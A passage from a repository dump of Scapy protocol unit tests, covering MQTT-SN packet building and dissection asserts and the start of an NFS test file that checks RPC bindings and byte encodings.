b'\\x01\\x02\\xdf'\np = MQTTSN(b)\nassert p.len == 735\nassert p.data == 726 * b\"X\"\n\n= MQTTSNPublish, packet dissection\nb = b\"\\x0b\\x0c\\x40\\x19\\x7f\\x6a\\x26testing\"\np = MQTTSN(b)\nassert p.len == 11\nassert p.type == PUBLISH\nassert p.dup == 0\nassert p.qos == QOS_2\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.tid == 0x197f\nassert p.mid == 0x6a26\nassert p.data == b\"test\"\nassert p.load == b\"ing\"\n\n= MQTTSNPublish, packet dissection - long data\nb = b\"\\x01\\x04\\x64\\x0c\" + b\"\\x00\\xb1\\x39\\xd7\\x4a\" + (1115 * b\"X\")\np = MQTTSN(b)\nassert p.len == 0x0464 == (4 + 5 + 1115)\nassert p.type == PUBLISH\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.tid == 0xb139\nassert p.mid == 0xd74a\nassert p.data == 1115 * b\"X\"\n\n= MQTTSNPuback, packet instantiation\np = MQTTSN() / MQTTSNPuback(tid=27610, mid=30284, return_code=ACCEPTED)\nassert p.len is None\nassert p.type == PUBACK\nassert p.tid == 27610\nassert p.mid == 30284\nassert p.return_code == ACCEPTED\n\n= MQTTSNPuback, packet dissection\nb = b\"\\x08\\x0d\\x03\\xda\\x73\\x9a\\x02\"\np = MQTTSN(b)\nassert p.len == 8\nassert p.type == PUBACK\nassert p.tid == 0x03da\nassert p.mid == 0x739a\nassert p.return_code == REJ_TID\n\n= MQTTSNPubcomp, packet instantiation\np = MQTTSN() / MQTTSNPubcomp(mid=36193)\nassert p.len is None\nassert p.type == PUBCOMP\nassert p.mid == 36193\n\n= MQTTSNPubcomp, packet dissection\nb = b\"\\x04\\x0e\\x26\\xa2\"\np = MQTTSN(b)\nassert p.len == 4\nassert p.type == PUBCOMP\nassert p.mid == 0x26a2\n\n= MQTTSNPubrec, packet instantiation\np = MQTTSN() / MQTTSNPubrec(mid=44837)\nassert p.len is None\nassert p.type == PUBREC\nassert p.mid == 44837\n\n= MQTTSNPubrec, packet dissection\nb = b\"\\x04\\x0f\\x36\\xc4\"\np = MQTTSN(b)\nassert p.len == 4\nassert p.type == PUBREC\nassert p.mid == 0x36c4\n\n= MQTTSNPubrel, packet instantiation\np = MQTTSN() / MQTTSNPubrel(mid=42834)\nassert p.len is None\nassert p.type == PUBREL\nassert p.mid == 42834\n\n= MQTTSNPubrel, packet dissection\nb = b\"\\x04\\x10\\x94\\x0f\"\np = MQTTSN(b)\nassert p.len == 4\nassert p.type == PUBREL\nassert p.mid == 0x940f\n\n= MQTTSNSubscribe, packet instantiation - topic name\np = MQTTSN() / MQTTSNSubscribe(mid=63780, topic_name=\"/test\")\nassert p.len is None\nassert p.type == SUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.topic_name == b\"/test\"\nassert p.short_topic is None\nassert p.tid is None\n\n= MQTTSNSubscribe, packet instantiation - predefined topic ID\np = MQTTSN() / MQTTSNSubscribe(mid=63780, tid_type=TID_PREDEF,\n                               tid=1187)\nassert p.len is None\nassert p.type == SUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_PREDEF\nassert p.topic_name is None\nassert p.short_topic is None\nassert p.tid == 1187\n\n= MQTTSNSubscribe, packet instantiation - short topic\np = MQTTSN() / MQTTSNSubscribe(mid=63780, tid_type=TID_SHORT, short_topic=\"fx\")\nassert p.len is None\nassert p.type == SUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_SHORT\nassert p.topic_name is None\nassert p.short_topic == b\"fx\"\nassert p.tid is None\n\n= MQTTSNSubscribe, packet dissection - topic name\nb = b\"\\x07\\x12\\x00\\x66\\x8a/t\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == SUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.mid == 0x668a\nassert p.topic_name == b\"/t\"\nassert p.short_topic is None\nassert p.tid is None\n\n= MQTTSNSubscribe, packet dissection - short topic\nb = b\"\\x07\\x12\\x01\\x66\\x8a/t\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == SUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_PREDEF\nassert p.mid == 0x668a\nassert p.topic_name is None\nassert p.short_topic is None\nassert p.tid == (ord(\"/\") << 8 | ord(\"t\")) == 12148\n\n= MQTTSNSubscribe, packet dissection - predefined topic ID\nb = b\"\\x07\\x12\\x02\\x66\\x8a/t\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == SUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_SHORT\nassert p.mid == 0x668a\nassert p.topic_name is None\nassert p.short_topic == b\"/t\"\nassert p.tid is None\n\n= MQTTSNSuback, packet instantiation\np = MQTTSN() / MQTTSNSuback(qos=QOS_0, tid=5496, mid=63108,\n                             return_code=REJ_TID)\nassert p.len is None\nassert p.type == SUBACK\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.tid == 5496\nassert p.mid == 63108\nassert p.return_code == REJ_TID\n\n= MQTTSNSuback, packet dissection\nb = b\"\\x08\\x13\\xa4\\x93\\x0b\\x02\\xc6\\x00\"\np = MQTTSN(b)\nassert p.len == 8\nassert p.type == SUBACK\nassert p.dup == 1\nassert p.qos == QOS_1\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 1\nassert p.tid_type == TID_NORMAL\nassert p.tid == 0x930b\nassert p.mid == 0x02c6\nassert p.return_code == ACCEPTED\n\n= MQTTSNUnsubscribe, packet instantiation - topic name\np = MQTTSN() / MQTTSNUnsubscribe(mid=63780, topic_name=\"/test\")\nassert p.len is None\nassert p.type == UNSUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.topic_name == b\"/test\"\nassert p.short_topic is None\nassert p.tid is None\n\n= MQTTSNUnsubscribe, packet instantiation - predefined topic ID\np = MQTTSN() / MQTTSNUnsubscribe(mid=63780, tid_type=TID_PREDEF,\n                                 tid=1187)\nassert p.len is None\nassert p.type == UNSUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_PREDEF\nassert p.topic_name is None\nassert p.short_topic is None\nassert p.tid == 1187\n\n= MQTTSNUnsubscribe, packet instantiation - short topic\np = MQTTSN() / MQTTSNUnsubscribe(mid=63780, tid_type=TID_SHORT,\n                                 short_topic=\"fx\")\nassert p.len is None\nassert p.type == UNSUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_SHORT\nassert p.topic_name is None\nassert p.short_topic == b\"fx\"\nassert p.tid is None\n\n= MQTTSNUnsubscribe, packet dissection - topic name\nb = b\"\\x07\\x14\\x00\\x66\\x8a/t\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == UNSUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.mid == 0x668a\nassert p.topic_name == b\"/t\"\nassert p.short_topic is None\nassert p.tid is None\n\n= MQTTSNUnsubscribe, packet dissection - short topic\nb = b\"\\x07\\x14\\x01\\x66\\x8a/t\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == UNSUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_PREDEF\nassert p.mid == 0x668a\nassert p.topic_name is None\nassert p.short_topic is None\nassert p.tid == (ord(\"/\") << 8 | ord(\"t\")) == 12148\n\n= MQTTSNUnsubscribe, packet dissection - predefined topic ID\nb = b\"\\x07\\x14\\x02\\x66\\x8a/t\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == UNSUBSCRIBE\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_SHORT\nassert p.mid == 0x668a\nassert p.topic_name is None\nassert p.short_topic == b\"/t\"\nassert p.tid is None\n\n= MQTTSNUnsuback, packet instantiation\np = MQTTSN() / MQTTSNUnsuback(mid=44541)\nassert p.len is None\nassert p.type == UNSUBACK\nassert p.mid == 44541\n\n= MQTTSNUnsuback, packet dissection\nb = b\"\\x08\\x15\\xcb\\x3d\"\np = MQTTSN(b)\nassert p.len == 8\nassert p.type == UNSUBACK\nassert p.mid == 0xcb3d\n\n= MQTTSNPingReq, packet instantiation - no client ID\np = MQTTSN() / MQTTSNPingReq()\nassert p.len is None\nassert p.type == PINGREQ\nassert p.client_id == b\"\"\n\n= MQTTSNPingReq, packet instantiation - with client ID\np = MQTTSN() / MQTTSNPingReq(client_id=\"test\")\nassert p.len is None\nassert p.type == PINGREQ\nassert p.client_id == b\"test\"\n\n= MQTTSNPingReq, packet dissection\nb = b\"\\x07\\x16hello\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == PINGREQ\nassert p.client_id == b\"hello\"\n\n= MQTTSNPingResp, packet instantiation\np = MQTTSN() / MQTTSNPingResp()\nassert p.len is None\nassert p.type == PINGRESP\n\n= MQTTSNPingResp, packet dissection\nb = b\"\\x02\\x17\"\np = MQTTSN(b)\nassert p.len == 2\nassert p.type == PINGRESP\n\n= MQTTSNDisconnect, packet instantiation and len field adjust - w/o duration\np = MQTTSN() / MQTTSNDisconnect()\nassert p.len is None\nassert p.type == DISCONNECT\nassert p.duration is None\nb = bytes(p)\np = MQTTSN(b)\nassert p.len == 2\nassert p.type == DISCONNECT\n\n= MQTTSNDisconnect, packet instantiation and len field adjust - w duration\np = MQTTSN() / MQTTSNDisconnect(duration=19567)\nassert p.len is None\nassert p.type == DISCONNECT\nassert p.duration == 19567\nb = bytes(p)\np = MQTTSN(b)\nassert p.len == 4\nassert p.type == DISCONNECT\nassert p.duration == 19567\n\n= MQTTSNDisconnect, packet dissection - w/o duration\nb = b\"\\x02\\x18\"\np = MQTTSN(b)\nassert p.len == 2\nassert p.type == DISCONNECT\n\n= MQTTSNDisconnect, packet dissection - w duration\nb = b\"\\x04\\x18\\x03\\x12\"\np = MQTTSN(b)\nassert p.len == 4\nassert p.type == DISCONNECT\nassert p.duration == 0x0312\n\n= MQTTSNWillTopicUpd, packet instantiation\np = MQTTSN() / MQTTSNWillTopicUpd(will_topic=\"/test\")\nassert p.len is None\nassert p.type == WILLTOPICUPD\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.will_topic == b\"/test\"\n\n= MQTTSNWillTopicUpd, packet dissection\nb = b\"\\x08\\x1a\\x00/testing\"\np = MQTTSN(b)\nassert p.len == 8\nassert p.type == WILLTOPICUPD\nassert p.dup == 0\nassert p.qos == QOS_0\nassert p.retain == 0\nassert p.will == 0\nassert p.cleansess == 0\nassert p.tid_type == TID_NORMAL\nassert p.will_topic == b\"/test\"\n\n= MQTTSNWillTopicResp, packet instantiation\np = MQTTSN() / MQTTSNWillTopicResp()\nassert p.len is None\nassert p.type == WILLTOPICRESP\nassert p.return_code == ACCEPTED\n\n= MQTTSNWillTopicResp, packet dissection\nb = b\"\\x03\\x1b\\x02\"\np = MQTTSN(b)\nassert p.len == 3\nassert p.type == WILLTOPICRESP\nassert p.return_code == REJ_TID\n\n= MQTTSNWillMsgUpd, packet instantiation\np = MQTTSN() / MQTTSNWillMsgUpd(will_msg=\"test\")\nassert p.len is None\nassert p.type == WILLMSGUPD\nassert p.will_msg == b\"test\"\n\n= MQTTSNWillMsgUpd, packet dissection\nb = b\"\\x06\\x1ctesting\"\np = MQTTSN(b)\nassert p.len == 6\nassert p.type == WILLMSGUPD\nassert p.will_msg == b\"test\"\nassert p.load == b\"ing\"\n\n= MQTTSNWillMsgResp, packet instantiation\np = MQTTSN() / MQTTSNWillMsgResp()\nassert p.len is None\nassert p.type == WILLMSGRESP\nassert p.return_code == ACCEPTED\n\n= MQTTSNWillMsgResp, packet dissection\nb = b\"\\x03\\x1d\\x02\"\np = MQTTSN(b)\nassert p.len == 3\nassert p.type == WILLMSGRESP\nassert p.return_code == REJ_TID\n\n= MQTTSNEncaps, packet instantiation\np = MQTTSN() / MQTTSNEncaps(radius=1, w_node_id=\"test\") / MQTTSN() / \\\n    MQTTSNConnack()\nassert p.len is None\nassert p.type == ENCAPS_MSG\nassert p.radius == 1\nassert p.w_node_id == b\"test\"\nassert p.payload.payload.len is None\nassert p.payload.payload.type == CONNACK\nassert p.payload.payload.return_code == ACCEPTED\nb = bytes(p)\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == ENCAPS_MSG\nassert p.radius == 1\nassert p.w_node_id == b\"test\"\nassert p.return_code == ACCEPTED\nassert p.payload.payload.len == 3\nassert p.payload.payload.type == CONNACK\nassert p.payload.payload.return_code == ACCEPTED\n\n= MQTTSNEncaps, packet dissection\nb = b\"\\x07\\xfe\\x02test\\x03\\x05\\x00\"\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == ENCAPS_MSG\nassert p.radius == 2\nassert p.w_node_id == b\"test\"\nassert p.payload.payload.len == 3\nassert p.payload.payload.type == CONNACK\nassert p.payload.payload.return_code == ACCEPTED\n\n= MQTTSNEncaps, packet dissection -- long payload\nb = b\"\\x07\\xfe\\x02test\" + b\"\\x01\\x04\\x64\\x0c\" + b\"\\x00\\xb1\\x39\\xd7\\x4a\" + \\\n        (1115 * b\"X\")\np = MQTTSN(b)\nassert p.len == 7\nassert p.type == ENCAPS_MSG\nassert p.radius == 2\nassert p.w_node_id == b\"test\"\nassert p.payload.payload.len == 4 + 5 + 1115 == 0x0464\nassert p.payload.payload.type == PUBLISH\nassert p.payload.payload.dup == 0\nassert p.payload.payload.qos == QOS_0\nassert p.payload.payload.retain == 0\nassert p.payload.payload.will == 0\nassert p.payload.payload.cleansess == 0\nassert p.payload.payload.tid_type == TID_NORMAL\nassert p.payload.payload.tid == 0xb139\nassert p.payload.payload.mid == 0xd74a\nassert p.payload.payload.data == 1115 * b\"X\"\n\n= MQTTSN without payload\np = MQTTSN()\nassert bytes(p) == b\"\\x02\\x00\"\n\n= MQTTSN without payload -- invalid lengths\np = MQTTSN(len=1)\ntry:\n    bytes(p)        # expect Scapy_Exception\n    assert false\nexcept Scapy_Exception:\n    pass\n\np = MQTTSN(len=0x10000)\ntry:\n    bytes(p)        # expect Scapy_Exception\n    assert false\nexcept Scapy_Exception:\n    pass\n\nb = '\\x01'\ntry:\n    p = MQTTSN(b)   # expect Scapy_Exception\n    assert false\nexcept Scapy_Exception:\n    pass\n\nb = '\\x01\\x02'\ntry:\n    p = MQTTSN(b)   # expect Scapy_Exception\n    assert false\nexcept Scapy_Exception:\n    pass\n\n\n= MQTT-SN RandVariableFieldLen\nassert type(MQTTSN().fieldtype[\"len\"].randval()) == RandVariableFieldLen\nassert type(MQTTSN().fieldtype[\"len\"].randval() + 0) == int\n\n= Disect full IPv6 packages\n~ dport == 1883 (0x75b)\nb = b\"\\x60\\x00\\x00\\x00\\x00\\x2c\\x11\\x40\\x20\\x01\\x0d\\xb8\\x00\\x00\\x00\\x00\" \\\n    b\"\\x17\\x11\\x6b\\x10\\x65\\xf7\\x5f\\x0a\\x20\\x01\\x0d\\xb8\\x00\\x00\\x00\\x00\" \\\n    b\"\\x17\\x11\\x6b\\x10\\x65\\xfd\\xbe\\x06\\xc0\\x00\\x07\\x5b\\x00\\x2c\\x40\\x7e\" \\\n    b\"\\x0b\\x0a\\0\\0\\x48\\x8a/testing\"\np = IPv6(b)\nassert MQTTSNRegister in p\n\n~ sport == 1883 (0x75b)\nb = b\"\\x60\\x00\\x00\\x00\\x00\\x0f\\x11\\x40\\x20\\x01\\x0d\\xb8\\x00\\x00\\x00\\x00\" \\\n    b\"\\x17\\x11\\x6b\\x10\\x65\\xfd\\xbe\\x06\\x20\\x01\\x0d\\xb8\\x00\\x00\\x00\\x00\" \\\n    b\"\\x17\\x11\\x6b\\x10\\x65\\xf7\\x5f\\x0a\\x07\\x5b\\xc0\\x00\\x00\\x0f\\x62\\x7c\" \\\n    b\"\\x07\\x0d\\x00\\x01\\x86\\x2f\\x00\"\np = IPv6(b)\nassert MQTTSNPuback in p\n\n= UDP packet instantiation\nb = bytes(UDP() / MQTTSN() / MQTTSNConnack())\np = UDP(b)\nassert MQTTSNConnack in p\nassert p.sport == 1883\nassert p.dport == 1883\n"
  },
  {
    "path": "test/contrib/nfs.uts",
    "content": "% Tests for nfs module\n############\n############\n+  Packet Creation Tests\n\n= Create subpackets\nFattr3()\nFile_Object()\nObject_Name()\nWCC_Attr()\nFile_From_Dir_Plus()\nFile_From_Dir()\nSattr3()\n\n= Create NFS Calls\nNULL_Call()\nGETATTR_Call()\nSETATTR_Call()\nLOOKUP_Call()\nACCESS_Call()\nREADLINK_Call()\nREAD_Call()\nWRITE_Call()\nCREATE_Call()\nMKDIR_Call()\nSYMLINK_Call()\nREMOVE_Call()\nRMDIR_Call()\nRENAME_Call()\nLINK_Call()\nREADDIR_Call()\nREADDIRPLUS_Call()\nFSSTAT_Call()\nFSINFO_Call()\nPATHCONF_Call()\nCOMMIT_Call()\n\n= Create NFS Successful replies\n\nGETATTR_Reply(status=0)\nSETATTR_Reply(status=0)\nLOOKUP_Reply(status=0)\nACCESS_Reply(status=0)\nREADLINK_Reply(status=0)\nREAD_Reply(status=0)\nWRITE_Reply(status=0)\nCREATE_Reply(status=0)\nMKDIR_Reply(status=0)\nSYMLINK_Reply(status=0)\nREMOVE_Reply(status=0)\nRMDIR_Reply(status=0)\nRENAME_Reply(status=0)\nLINK_Reply(status=0)\nREADDIR_Reply(status=0)\nREADDIRPLUS_Reply(status=0)\nFSSTAT_Reply(status=0)\nFSINFO_Reply(status=0)\nPATHCONF_Reply(status=0)\nCOMMIT_Reply(status=0)\n\n= Create NFS Failed replies\nGETATTR_Reply(status=1)\nSETATTR_Reply(status=1)\nLOOKUP_Reply(status=1)\nACCESS_Reply(status=1)\nREADLINK_Reply(status=1)\nREAD_Reply(status=1)\nWRITE_Reply(status=1)\nCREATE_Reply(status=1)\nMKDIR_Reply(status=1)\nSYMLINK_Reply(status=1)\nREMOVE_Reply(status=1)\nRMDIR_Reply(status=1)\nRENAME_Reply(status=1)\nLINK_Reply(status=1)\nREADDIR_Reply(status=1)\nREADDIRPLUS_Reply(status=1)\nFSSTAT_Reply(status=1)\nFSINFO_Reply(status=1)\nPATHCONF_Reply(status=1)\nCOMMIT_Reply(status=1)\n\n+ Test RPC Call layer bindings\n\n= Layer Bindings for NFS Calls\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Call()/NULL_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 0)\npkt = RPC()/RPC_Call()/GETATTR_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 1)\npkt = RPC()/RPC_Call()/SETATTR_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 2)\npkt = RPC()/RPC_Call()/LOOKUP_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 3)\npkt = RPC()/RPC_Call()/ACCESS_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 4)\npkt = RPC()/RPC_Call()/READLINK_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 5)\npkt = RPC()/RPC_Call()/READ_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 6)\npkt = RPC()/RPC_Call()/WRITE_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 7)\npkt = RPC()/RPC_Call()/CREATE_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 8)\npkt = RPC()/RPC_Call()/MKDIR_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 9)\npkt = RPC()/RPC_Call()/SYMLINK_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 10)\npkt = RPC()/RPC_Call()/REMOVE_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 12)\npkt = RPC()/RPC_Call()/RMDIR_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 13)\npkt = RPC()/RPC_Call()/RENAME_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 14)\npkt = RPC()/RPC_Call()/LINK_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 15)\npkt = RPC()/RPC_Call()/READDIR_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 16)\npkt = RPC()/RPC_Call()/READDIRPLUS_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 17)\npkt = RPC()/RPC_Call()/FSSTAT_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 18)\npkt = RPC()/RPC_Call()/FSINFO_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 19)\npkt = RPC()/RPC_Call()/PATHCONF_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 20)\npkt = RPC()/RPC_Call()/COMMIT_Call()\nassert (pkt.mtype, pkt.program, pkt.pversion, pkt.procedure) == (0, 100003, 3, 21)\n\n= Layer Bindings for NFS Replies\nfrom scapy.contrib.oncrpc import *\npkt = RPC()/RPC_Reply()/NULL_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/GETATTR_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/SETATTR_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/LOOKUP_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/ACCESS_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/READLINK_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/READ_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/WRITE_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/CREATE_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/MKDIR_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/SYMLINK_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/REMOVE_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/RMDIR_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/RENAME_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/LINK_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/READDIR_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/READDIRPLUS_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/FSSTAT_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/FSINFO_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/PATHCONF_Reply()\nassert pkt.mtype==1\npkt = RPC()/RPC_Reply()/COMMIT_Reply()\nassert pkt.mtype==1\n\n+ Test Built Packets Against Raw Strings\n\n= Built NFS Calls vs Raw Strings\npkt = GETATTR_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file'\n\npkt = LOOKUP_Call(\n    dir=File_Object(\n        length=3,\n        fh='DIR',\n        fill='\\x00'\n    ),\n    filename=Object_Name(\n        length=4,\n        _name='File'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x03DIR\\x00\\x00\\x00\\x00\\x04File'\n\npkt = FSINFO_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file'\n\npkt = PATHCONF_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file'\n\npkt = ACCESS_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file',\n    ),\n    check_access='READ'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x01'\n\npkt = READDIRPLUS_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    cookie=0xffffffffffffffff,\n    verifier=0xaaaaaaaaaaaaaaaa,\n    dircount=512,\n    maxcount=4096\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x02\\x00\\x00\\x00\\x10\\x00'\n\npkt = WRITE_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file',\n    ),\n    offset=0xffffffffffffffff,\n    count=0xaaaaaaaa,\n    stable='UNSTABLE',\n    length=8,\n    contents='\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07'\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07'\n\npkt = COMMIT_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    offset=0xffffffffffffffff,\n    count=0xaaaaaaaa\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa'\n\npkt = SETATTR_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    attributes=Sattr3(\n        set_mode='SET', mode=0o755,\n        set_uid='SET', uid=1,\n        set_gid='SET', gid=1,\n        set_size='SET', size=0xffffffffffffffff,\n        set_atime='CLIENT TIME', atime_s=0xffffffff, atime_ns=0xffffffff,\n        set_mtime='CLIENT TIME', mtime_s=0xaaaaaaaa, mtime_ns=0xaaaaaaaa\n    ),\n    check=0xffffffff\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\x00\\x00\\x00\\x01\\x00\\x00\\x01\\xed\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x02\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x02\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xff\\xff\\xff\\xff'\n\npkt = FSSTAT_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file'\n\npkt = CREATE_Call(\n    dir=File_Object(\n        length=3,\n        fh='DIR',\n        fill='\\x00'\n    ),\n    filename=Object_Name(\n        length=4,\n        _name='File'\n    ),\n    create_mode='EXCLUSIVE',\n    verifier=0xffffffffffffffff\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x03DIR\\x00\\x00\\x00\\x00\\x04File\\x00\\x00\\x00\\x02\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\n\npkt = REMOVE_Call(\n    dir=File_Object(\n        length=3,\n        fh='DIR',\n        fill='\\x00'\n    ),\n    filename=Object_Name(\n        length=4,\n        _name='File'\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x03DIR\\x00\\x00\\x00\\x00\\x04File'\n\npkt = READDIR_Call(\n    filehandle=File_Object(\n        length=4,\n        fh='file'\n    ),\n    cookie=0xffffffffffffffff,\n    verifier=0xaaaaaaaaaaaaaaaa,\n    count=0xabcdef12\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x04file\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xab\\xcd\\xef\\x12'\n\npkt = RENAME_Call(\n    dir_from=File_Object(\n        length=8,\n        fh='DIR_FROM'\n    ),\n    